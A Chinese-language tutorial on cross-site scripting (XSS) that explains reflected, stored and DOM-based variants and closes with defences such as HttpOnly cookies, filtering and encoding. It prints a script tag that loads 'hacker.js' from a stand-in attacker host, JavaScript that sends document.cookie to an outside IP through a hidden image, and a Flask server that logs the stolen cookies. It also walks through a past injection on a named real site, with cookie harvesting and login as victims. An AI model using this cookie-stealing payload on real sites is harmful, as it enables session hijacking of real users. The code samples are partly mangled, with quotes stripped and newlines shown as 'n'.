XSS常見攻擊與防禦
XSS常見攻擊與防禦
XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
XSS攻擊案例:
新浪微博遭受XX攻擊:http://soft.yesky.com/security/156/30179156.shtml
人人網遭受XSS攻擊:
http://www.freebuf.com/articles/6295.html
簡單的測試方法:
所有提交數據的地方都有可能存在XSS,可以用最簡單腳本進行測試:
<script>alert(「1」)</script>n
XSS攻擊類型
反射型:
黑客構造一個包含XSS代碼的URL(伺服器中沒有這樣的頁面和內容),誘導或等待用戶去點擊鏈接,才能觸發XSS代碼,達到劫持訪問、獲取cookies的目的。一般容易出現在搜索頁面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22*alert(1)*%22&psa=M3.s10.0.j4 (此漏洞已經修復,請勿再測,造成訪問壓力。)
持久型:
如果黑客可以將腳本代碼通過發布內容(如發論壇、博文、寫留言等)的方式發布後,存儲在服務端的資料庫或者文件中,成為某個url正常的頁面的一部分,所有訪問這個頁面的所有用戶都是受害者,看似正常的url,則其頁面已經包含了xss代碼,持久型XSS更具有隱蔽性,帶來的危害也更大
例如:在頁面中不容注意的地方加一段js腳本(如下),當頁面被打開時,頁面會載入這段腳本,加系統登錄的cookies發送到遠端hacker的手中。
<script type="text/javascript" src="https://xss.xxx.com/hacker.js"></script>n
DOM型:
DOM就是一個樹狀的模型,你可以編寫Javascript代碼根據DOM一層一層的節點,去遍歷/獲取/修改對應的節點,對象,值。dom xss並不複雜,他也屬於反射型xss的一種(,domxss取決於輸出位置,並不取決於輸出環境,因此domxss既有可能是反射型的,也有可能是存儲型的),簡單去理解就是因為他輸出點在DOM,所以在道哥的《白帽子講Web安全里》也有詳細介紹。xss代碼可能是簡短的插入script節點的語句,載入來自第三方域的含有具體惡意代碼的腳本。具體的惡意代碼,常見的行為是讀取cookie,構造例如一個img標籤,將其src屬性指向惡意第三方網站,將cookie的內容作為參數附在src的url上,這樣黑客就能在其網站上獲得你的cookie信息,這就是所謂的cookie劫持。
js獲取瀏覽器的cookies, 通過網路將cookies發送給遠端的接https://xss.xxx.com/hacker.js,收程序。
var img =ndocument.createElement(img);nimg.width = 0;nimg.height = 0;nimg.src =nhttp://10.100.100.14:5000/?hacker=+encodeURIComponent(document.cookie);n
接收端,利用python flask寫個非常簡單的項目
from flask import Flask, requestnnapp = Flask(__name__)nn@app.route(/)nndef get_cookies():nn text = request.args.get(hacker)nn with open(file_path, mode=a, encoding=utf-8) as f:nn f.writelines(text + "n")nnif __name__ == __main__:nn app.run(host=0.0.0.0, port=5000, debug=app.debug, threaded=True)n
示例:(此漏洞已經修復,請勿再測,造成訪問壓力。)
在www.wuage.com?fromtf=budao註冊過後返回個人中心,在公司名稱完成XSS注入
在搜索頁面https://s.wuage.com/product/search?fromtf=budao ,選擇一個公司點擊訊問價格-勾選上同時發布到求購大廳,此時就會收到源源不斷的cookies信息。
獲取cookies
修改cookies,登錄網站:
進入用戶的會員中心,查看企業信息
XSS攻擊防禦
設置HttpOnly以避免cookie劫持的危險。
過濾,對諸如<script>、<img>、<a>等標籤進行過濾。
編碼,像一些常見的符號,如<>在輸入的時候要對其進行轉換編碼,這樣做瀏覽器是不會對該標籤進行解釋執行的,同時也不影響顯示效果。
限制,通過以上的案例我們不難發現xss攻擊要能達成往往需要較長的字元串,因此對於一些可以預期的輸入可以通過限制長度強制截斷來進行防禦。
更多乾貨請瀏覽:
還在手調網路許可權?資深IT工程師都這樣玩企業組網
利用500W條微博語料對評論進行情感分析
推薦閱讀:
※記一次沒什麼技術含量的XSS注入
※XSS學習之以關點面 11~15關
※XSS.TV挑戰賽(二)
※教大家如何找XSS漏洞並且利用